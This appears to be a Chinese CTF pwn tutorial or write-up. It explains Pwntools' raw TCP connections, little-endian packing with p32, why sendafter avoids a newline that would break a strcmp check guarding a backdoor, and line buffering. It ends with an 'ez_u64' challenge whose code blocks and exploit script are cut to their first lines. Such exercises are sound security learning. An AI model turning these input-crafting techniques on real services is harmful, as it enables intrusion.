这其实是星澜音当时最理解不了的点之一。星澜音总认为 Pwntools 是通过类似于 SSH 连接一样的东西连接到远程服务器,然后模拟终端的输入、操作并将输出打回到用户端,但事实上并非如此。我们说,Pwntools 的 connect 是通过 非常底层的 TCP 连接 得到的。
在绝大多数 CTF Pwn 题目中,主办方会使用一种叫做 socat 或 xinetd 的工具,它们在服务器上监听一个特定的 TCP 端口,一旦有客户端(比如我们的 Pwntools 脚本)尝试连接到这个端口,它们就会为这个连接启动一个 pwn 程序的全新实例,紧接着,将这个程序实例的 标准输入、标准输出和标准错误(也就是 stdin、stdout 和 stderr,后面我们还会提到)完完全全地重新定向到这个网络连接上。这建立起了一个非常纯粹而双向的数据通道。
我们使用 Pwntools 去 send 数据,该数据会通过 TCP 连接发送到目标服务器,由对方的工具接收后,直接写入到 pwn 程序的标准输入中;而 pwn 程序通过 printf 或 puts 打印出的数据,在写入到其标准输出后,也会由工具接收并通过 TCP 连接发送到我们的 Pwntools 端。
这一过程使用的是裸的 TCP/IP 套接字通信:TCP 协议将数据可靠地传递到另一端,但它完全不会修改数据或对数据进行任何的解释和修饰。而我们所说的 SSH 是一个应用层协议,它构建在 TCP 之上,目的是提供一个安全的、加密和认证的远程命令行会话。SSH 的交互是面向人类的、基于文本行的,它会加入大量控制字符和封装。
p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
答案
这是出题人为我们留下的问题。
首先看 b"\xde\xad\xbe\xef" 和 b"deadbeef",这二者均为 字节串,b 表示将后面的东西当做字节处理。我们使用 Python 解释器即可一窥究竟。
1 | In [3]: text_str = "helloworld" |
可以看到,对于共有部分 helloworld,前面有没有 b 参数会直接影响变量的类型。那么这两个字节串又有何区别呢?
对于 b"deadbeef"。它是一个 ASCII 字符字面量,这种表示方式下,引号内的每一个字符都代表其自身的 ASCII 编码值。Python 会取出引号中的每一个字符,将其转换为对应的 ASCII 码(一个字节),再组合成一个字节串。经过这样的处理,我们会得到一个长度为 8 的 bytes 对象。
对于 b"\xde\xad\xbe\xef,这实际上使用了转义序列:Python 会将一个 \x 后紧跟的两个十六进制数字,直接解析为一个字节的值。经过这样的处理,我们会得到一个长度为 4 的 bytes 对象。
那么 p32(0xdeadbeef) 呢?首先,0xdeadbeef 定义了一个十六进制表示的 32 位整数,而来自 Pwntools 的 p32 会将这个整数也打包为一个字节串。但它的打包结果与我们前面所提到的 b"\xde\xad\xbe\xef" 不同,或者说——恰好相反!因为 p32 函数会按照小端序(Little-Endian)的方式打包数据,它所打包的结果为 b'\xef\xbe\xad\xde'。
「大端序」和「小端序」是两种不同的「端序 / 字节序」。大端序要求高位字节在前,正如我们书写数字一般,左边的数字是最高位;而小端序则要求低位字节在前,与我们的习惯相反。而 p32 的功能就是将一个 32 位整数打包为小端序字节串,由于它面向的平台是 x86 和 x86-64 架构的 CPU,因此 p32 就遵从这一习惯选择了小端序。
为何第二次 send 请求不使用 sendlineafter 而使用 sendafter?
答案
倘若我们抛开 pwn 文件的内容,单纯从 Pwntools 的 DEBUG 输出中来看,也能窥见其中一二。在我们使用 sendafter 时,我们是直接对远程服务器发送了 p32(0xdeadbeef) + "shuijiangui" 这一串输入,用十六进制表示就是这样:
1 | [DEBUG] Sent 0xf bytes: |
如此干净利落的 15 个字节。但一旦使用 sendlineafter,情况就变了!我们的输入变成了这样:
1 | [DEBUG] Sent 0x10 bytes: |
我们可以清晰地看见,15 个字节之后又追加了一个字节 0x0a,它便是这 line 所带来的一个换行符。比如说我们进行终端操作,输入了长长一串命令之后敲一下回车,这个回车其实也会带来一个换行符,它追加在这一堆命令之后,被终端一齐送到标准输入(stdin)里。
那么为何这个 pwn 程序如此看重是否有这个换行符?我们打开 IDA Pro,直接展开逆向!

按下 F5 以命令 IDA Pro 尝试将汇编代码转换为伪代码,一般均为类 C 风格的代码。在第二次请求输入时,有如下代码片段:
1 | puts("Right!Then,give the answer."); |
在 Linux 系统调用中,read 是一个原始字节流读取函数,其原型为
1 | ssize_t read(int fd, void buf[.count], size_t count); |
根据 read(2) - Linux manual page 给出的解释:
read()attempts to read up tocountbytes from file descriptorfdinto the buffer starting atbuf.
我们看到题目中的 read 指令:
1 | read(0, buf, 0x64uLL); |
它从 0(即标准输入 stdin)中读取 0x64 个字节(也就是 100 个字节)的数据,并存储在目标内存 buf 处。接下来,它携带 buf 作为参数,调用 bypass 函数。首先要注意的一点是,read 函数与我们所熟知的 scanf 和 fgets 等不同,它读取的是 原始字节流,并且会将自己读取到的东西 完整保留!它既不会向其他函数一样截断 x00,也不会跳过或转义空白字符或非打印字符。更重要的是,它仅会从 stdin 中取 100 个字节,然后将 stdin 的读取指针前移 100 个字节;至于 stdin 里是否还有其他等待着的数据,read 就不会再管了。
准确来说,Linux 端的 read 函数的行为模式是这样的:首先它会一直阻塞(等待),直到输入缓冲区中有数据供它读取了。一旦有了数据,它就会开始读取,直到以下条件中任一成立,它就会返回(停止阻塞):
· 已经读取了一定或指定数量的字节;
· 读取到了文件的末尾(可能是 EOF 结束符);
· 遇到了某些非阻塞的情况,没有更多内容可读。
换句话说,只要 fd 中有了数据,read 就拿上至多 count 字节的数据;哪怕拿到的数据长度远小于 count,它也会移动完读取指针后直接跑路!
接下来我们来看 bypass 函数:
1 | __int64 __fastcall bypass(__int64 a1) |
a1 即 buf 的起始地址,也就是一个指针。首先检验 a1 是否为空指针,然后:
- 将
a1强制转换为_DWORD*(32 位无符号整数指针;这里的具体操作是,创建一个_DWORD指针,并将其指向a1的起始地址;也就是取a1的前 4 个字节)并解引用它,检验它的值是否等于-559038737,或者十六进制的DEADBEEF。 - 将
a1从第 5 个字节开始(a1 + 4)强制转换为const char(字符串;这里的具体操作是,创建一个const char指针,并将其指向a1 + 4这个地址),调用strcmp(C 语言标准库中的字符串比较函数)对(const char *)(a1 + 4)和"shuijiangui"进行比较。一般地,strcmp会对两个字符串的第一个字符开始,逐个字节进行比较,直到遇到空字符'\0'或不相等的字符为止。
若二者均比对成功,则返回 0(LL 表示 long long,这里是为了符合函数要求的返回类型 __int64)并进入 backdoor() 流程;否则输出 Something wrong. 并返回 1。
这么说来我们便理解了:倘若我们使用的是 sendlineafter,它便会为我们的输入 shuijiangui 后附加一个 0x0a 换行符,这样的话,strcmp 就会认为第 2 个比较不成功了。
Pwntools 到底是如何让远程服务器继续下一步操作的?
答案
星澜音更困惑的点便在这里。倘若我们一般使用终端来操作 Linux 程序,我们的常规动作就是,在程序请求用户输入时打一堆文字进去,然后敲下回车键,这样程序就能进行下一步了。但为何这一次,我们使用 sendafter 直接发送了数据后,不需要回车键(换行符)就能让程序进行下一步操作?
这里我们需要引入一个概念:行缓冲(Line Buffering)机制。我们说缓冲区的类型有三种:全缓冲、行缓冲和无缓冲。
- 全缓冲要求当填满 I/O 缓存后才进行实际 I/O 操作,其代表是对磁盘文件的读写;
- 行缓冲要求在输入和输出中遇到换行符时,才执行真正的 I/O 操作。我们输入的字符会先放在缓冲区,按下回车键后才进行实际的 I/O 操作,其代表是标准输入和标准输出;
- 无缓冲不会进行缓冲,例如标准错误。
一般来讲,我们使用的终端都被配置为了规范模式,也就是运行在行缓冲模式下,这也是为什么我们通常认为,输入完一个东西后,必须要回车才能进行下一步。每当我们敲下回车,终端就会将缓冲区内的数据送到标准输入里;但事实上,程序对于行缓冲是无感的:它不知道你在敲回车键之前是怎么输入的,输入了多少,它只知道标准输入不知为何突然多了一些东西,然后它从标准输入取回这些东西就好了。而标准输入也不总是来自一个配置为行缓冲的交互式终端;它可以来自很多地方,无论是文件重定向、管道、还是像 Pwntools 这样的网络套接字(Socket)。
对于本题的 pwn 程序而言,它也感受不到自己正在和网络交互,它只是通过 read 函数,从标准输入里读取数据罢了。通过网络套接字传输的数据是没有「行缓冲」这种概念的:你 send 了什么,它就 read 什么;这就够了。
✅ 1 ez_u64
题目源码
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | int init() |
1 | unsigned __int64 vuln() |
分析 vuln() 的代码逻辑:它在一阵输出后直接将 num 这 8 个字节的数据,以其原始、二进制、未经任何处理的形态写入到了标准输出内。我们截取这 8 个字节并转换为整数,发送到远端标准输入内即可。
Exploit 脚本
1 | from pwn import * |